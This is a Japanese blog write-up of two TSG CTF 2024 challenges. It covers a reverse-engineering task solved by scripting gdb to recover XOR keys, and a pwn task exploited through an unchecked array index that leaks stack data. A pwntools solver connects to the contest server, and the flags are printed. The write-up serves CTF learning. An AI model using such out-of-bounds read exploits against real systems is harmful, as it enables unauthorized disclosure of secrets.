All Articles

TSG CTF 2024 Writeup (Rev:Misbehave,Pwn:Password-Ate-Quiz)

12/14 から開催されていた TSG CTF 2024 に 0nePadding で参加して 63 位でした。(参加者みんなレベル高いね。。。)

簡単に Writeup 書きます。

もくじ

Misbehave(Rev)

このバイナリ、少し変なんです……

初心者向けのヒント:

添付ファイルはx86-64のLinux上で動くELF形式の実行可能ファイルです 実行して正しいFLAGを入力すると、Correct!と表示されます GhidraやIDA Freeで処理の概要を把握しましょう gdbで実際に動かしながら挙動を確認しましょう すべての処理の内容を正確に理解する必要はありません その処理が何を入力とし、何を変更するのかを把握するだけで十分なこともあります

とりあえず問題バイナリを capa でチェックしてみましたが、これといって役に立ちそうな情報は見つかりませんでした。

image-20241214163510379

Binja でデコンパイルしてみると、main 関数が以下の実装になっていることがわかりました。

int32_t main(int32_t argc, char** argv, char** envp)
{
    char var_9 = 1;
    int32_t var_14 = 4;
    void input_0x30_flag;
    input_flag(&input_0x30_flag, 0x30);
    init(0x2cb7, 0x22);
    
    for (int32_t i = 0; i <= 0xb; i += 1)
    {
        int32_t rax_2 = gen_rand();
        *(uint32_t*)(((int64_t)(i << 2)) + &input_0x30_flag) ^= rax_2;
        
        if (memcmp((&input_0x30_flag + ((int64_t)(i << 2))), (((int64_t)(i << 2)) + &flag_enc), ((int64_t)var_14)) != 0)
            var_9 = 0;
    }
    
    if (var_9 == 0)
        puts("Wrong...");
    else
        puts("Correct!");
    
    return 0;
}

main 関数では、ざっと以下のステップで処理が行われるようです。

  1. 標準入力から 0x30 バイト分の入力値を受け取る
  2. init 関数で何かの初期化を行う
  3. 12 回のループ内で、入力値と gen_rand 関数で生成したランダムな値を 4 バイトずつ XOR し、ハードコードされた値と memcmp で比較を行う
  4. すべての検証に成功すれば、Correct! という文字列を出力する

XOR 暗号化された Flag はハードコードされているので、後は gen_rand 関数が生成する Key を正しく特定できれば Flag を逆算できそうだということがわかります。

gen_rand 関数の実装を見てみると、以下の通り変数 state を色々と操作するような関数のようです(あまり重要でなかったので詳しい実装は読んでません)

image-20241214172808976

今回は特定の Key で XOR 暗号化された Flag がバイナリにハードコードされていることから、gen_rand 関数が生成する Key は完全なランダムではなく、特定の seed によって一意に定まる可能性が高いことが予想されます。

実際に以下のスクリプトで gdb を操作してデバッグしてみると、最初の 4 バイト分の Key のみは固定(init 関数でハードコードされている seed を使用)されており、その後の Key は 4 バイトごとの入力文字列に依存して変化することを確認できます。

# gdb -x run.py
import gdb
import ctypes
from pprint import pprint

BINDIR = "./"
BIN = "misbehave"
INPUT = "./in.txt"
OUTPUT = "./out.txt"
BREAK = "*(main+74)"

with open(INPUT, "w") as f:
    f.write("A"*0x30)

with open(OUTPUT, "w") as f:
    f.write("A"*0x30)

gdb.execute('file {}/{}'.format(BINDIR, BIN))
gdb.execute('b {}'.format(BREAK))

gdb.execute('run < {}'.format(INPUT, OUTPUT))

while True:
    print(hex(
        ctypes.c_int32(int(gdb.parse_and_eval("$eax"))).value
    ))
    gdb.execute("continue")

※ 以下は A のみを入力文字列として与えた場合に生成される Key の値。

image-20241214170031493

また、ハードコードされている XOR 暗号化された Flag は以下の通りであることを確認できます。

image-20241214170601611

これらの情報から、Flag の最初の 4 バイトのみは state の初期値と暗号化された Flag の最初の 4 バイトの XOR で特定でき、それ以降の Flag は、4 バイトずつ正しい Flag 文字列を入力することで生成された正しい Key を使うことで順に特定していけることがわかります。

以下は、CyberChef で正しい Flag を 4 バイトずつ特定した際のレシピです。

image-20241214172627627

最終的に、以下の Solver で 4 バイトずつ正しい Flag 文字列を入力した場合の Key を順に抽出することで正解の Flag を特定できました。

# gdb -x run.py
import gdb
import ctypes
from pprint import pprint

BINDIR = "./"
BIN = "misbehave"
INPUT = "./in.txt"
OUTPUT = "./out.txt"
BREAK = "*(main+74)"

N = 11
with open(INPUT, "w") as f:
    f.write("TSGCTF{h1dd3n_func7i0n_4nd_s31f_g07_0verwr17" + "A"*(0x30-4*N))

with open(OUTPUT, "w") as f:
    f.write("A"*0x30)

gdb.execute('file {}/{}'.format(BINDIR, BIN))
gdb.execute('b {}'.format(BREAK))
gdb.execute('run < {}'.format(INPUT, OUTPUT))

flag_enc = [0x906f6020, 0xf38f77ae, 0x5ea509fc, 0x51396bdd,
0x5e6efddf, 0x858860a8, 0x5295d7bc, 0xf382e975,
0x9504a2b7, 0x675c0e4a, 0xbf138153, 0xc1706134]

for i in range(12):
    if i == N:
        rand_val = ctypes.c_int32(int(gdb.parse_and_eval("$eax"))).value & 0xFFFFFFFF
        print(hex(rand_val))
        print(hex(
            rand_val ^ flag_enc[N]
        ))
    gdb.execute("continue")

gdb.execute("quit")

# TSGCTF{h1dd3n_func7i0n_4nd_s31f_g07_0verwr173}

Password-Ate-Quiz(Pwn)

正しいパスワードを入力すればフラグを教えてもらえるようです。

問題バイナリとして以下の C コードとコンパイル済みの ELF ファイルが与えられます。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

void crypting(long long* secret, size_t len, long long key) {
	for (int i = 0; i < (len - 1) / 8 + 1; i++) {
		secret[i] = secret[i] ^ key;
	}
}

void output_flag() {
	char flag[100];
	FILE *fd = fopen("./flag.txt", "r");
	if (fd == NULL) {
		puts("Could not open \"flag.txt\"");
		exit(1);
	}
	fscanf(fd, "%99s", flag);
	printf("%s\n", flag);
}

int main() {
	setvbuf(stdout, NULL, _IONBF, 0);

	char hints[3][8] = {"Hint1:T", "Hint2:S", "Hint3:G"};
	char password[0x20];
	char input[0x20];
	

	srand(time(0));
	long long key = ((long long)rand() << 32) | rand();

	FILE *fd = fopen("password.txt", "r");
	if (fd == NULL) {
		puts("Could not open \"password.txt\"");
		exit(1);
	}

	fscanf(fd, "%31s", password);
	size_t length = strlen(password);
	crypting((long long*)password, 0x20, key);

	printf("Enter the password > ");
	scanf("%31s", input);

	crypting((long long*)input, 0x20, key);

	if (memcmp(password, input, length + 1) == 0) {
		puts("OK! Here's the flag!");
		output_flag();
		exit(0);
	}

	puts("Authentication failed.");
	puts("You can get some hints.");
	
	while (1) {
		int idx;
		printf("Enter a hint number (0~2) > ");
		if (scanf("%d", &idx) == 1 && idx >= 0) {
			for (int i = 0; i < 8; i++) {
				putchar(hints[idx][i]);
			}
			puts("");
		} else {
			break;
		}
	}

	while (getchar()!='\n');

	printf("Enter the password > ");
	scanf("%31s", input);

	crypting((long long*)input, 0x20, key);

	if (memcmp(password, input, length + 1) == 0) {
		puts("OK! Here's the flag!");
		output_flag();
	} else {
		puts("Authentication failed.");
	}

	return 0;
}

このコードの実装を読むと、正しいパスワードと入力値をランダムに生成した 8 バイトの Key で XOR 暗号化し、その結果が一致した場合にのみ正解の Flag が表示されることがわかります。

また、親切なことにこのプログラムでは 1 度誤ったパスワードの入力を行うとパスワードのヒントを参照でき、その後にもう一度パスワード入力を行うチャンスを得られることがわかります。

このパスワードのヒントの参照箇所は以下の通り実装されているようです。

char hints[3][8] = {"Hint1:T", "Hint2:S", "Hint3:G"};
char password[0x20];
char input[0x20];

while (1) {
    int idx;
    printf("Enter a hint number (0~2) > ");
    if (scanf("%d", &idx) == 1 && idx >= 0) {
        for (int i = 0; i < 8; i++) {
            putchar(hints[idx][i]);
        }
        puts("");
    } else {
        break;
    }
}

上記のコードには idx の範囲について idx >= 0 以外の制限が存在しないため、範囲外のスタック内の情報を参照できる自明な脆弱性が存在していることがわかります。

また、この脆弱性を悪用して参照できる情報は、暗号化された password および入力値の格納されているスタックの情報であることが想定できます。

image-20241215000026692

残念ながら暗号化関数が使用する Key が保存されたスタックアドレスの情報をこの脆弱性を悪用して参照することはできませんでしたが、入力値を \x00 とすることによって実質的に元の XOR Key がそのまま input のスタック領域に配置されることがすぐにわかります。

そのため、以下の Solver で暗号化されたパスワードと暗号化に使用した XOR Key を抽出することで、正しいパスワードを特定して正解の Flag を入手できました。

import binascii,struct
from pwn import *

# Set context
# context.log_level = "debug"
context.arch = "amd64"
context.endian = "little"
context.word_size = 64
context.terminal = ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe", "-w", "0", "sp", "-s", ".75", "-d", ".", "wsl.exe", '-d', "Ubuntu", "bash", "-c"]

# Set gdb script
# BASE = 0x555555554000
# DBGADDR = hex(BASE + 0x8af)
gdbscript = f"""
b *(main+290)
continue
"""

# Set target
TARGET_PATH = "./chall"
exe = ELF(TARGET_PATH)

# Run program
is_gdb = True
is_gdb = False
if is_gdb:
    target = gdb.debug(TARGET_PATH, aslr=False, gdbscript=gdbscript)
else:
    target = remote("34.146.186.1", 41778, ssl=False)
    # target = process(TARGET_PATH)

# Exploit
target.recvuntil(b"Enter the password > ")
payload = b"\x00"*0x19
target.sendline(payload)

enc_password = []

for i in range(4,10):
    r = target.recvuntil(b"Enter a hint number (0~2) > ")
    if i != 4:
        # print(r)
        enc_password.append(
            r[0:8]
        )
    payload = str(i).encode()
    target.sendline(payload)

for e in enc_password:
    print("E: {}".format(hex(struct.unpack("<Q", e)[0])))

# ThrtclScncGrp-eoeiaieeou-1959

# Finish exploit
target.interactive()
target.clean()

以下は、パスワードの復号に使用したレシピです。

image-20241215010403860

こうして特定したパスワードを問題サーバに送信することで、正解の Flag を得ることができました。

image-20241215010347846

まとめ

根気が足りず SQLite VM の問題を解ききれなかったのですが、こちらは別の記事で復習しようと思います。。